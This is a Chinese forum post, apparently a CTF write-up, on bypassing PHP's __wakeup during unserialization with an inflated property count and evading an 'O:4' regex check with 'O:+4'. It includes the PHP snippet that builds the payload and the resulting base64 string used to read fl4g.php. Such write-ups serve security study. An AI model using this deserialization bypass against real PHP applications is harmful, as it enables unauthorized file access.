用户
搜索
  • TA的每日心情
    郁闷
    2021-12-8 18:18
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-呆萌菜鸟

    末心网安 海格

    Rank: 1

    5

    主题

    5

    帖子

    96

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2021-6-9
    发表于 2021-11-27 22:23:50 22489
    0x00起因
    前两天在攻防世界做题的时候,看到了一个Wakeup绕过的典型案例。正好拿来写一篇随笔记录。
    0x01案例 01.png
    进入后,我们得到题目代码,我们现在需要读一下这个代码。
    先对代码进行一个审计
    __wakeup()很容易绕过,只需要令序列化字符串中标识变量数量的值大于实 际变量即可绕过__wakeup()函数
    _wakeup()的绕过,大概应该是PHP5<5.6.25,PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。
    在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
    正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过(看到类似题才想到所以构造 payload
    $a= new Demo('fl4g.php');
    $b=serialize($a);
    $b=str_replace('O:4','O:+4',$b);
    $b=str_replace('1:{','2:{',$b);
    echo base64_encode($b);
    01.png
    0x02 Flag
    01.png
    拿到Base64编码后的反序列化字符串,TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
    给网站进行get传参,拿到flag
    01.png

    微信公众号:末心网安 | Q群973504130 | 淘宝店铺:末心网络|TinSec(听安)
    发表于 2021-11-30 17:54:38
    很厉害!!!!!!
    使用道具 举报 回复
    发表于 2021-12-19 10:53:10
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册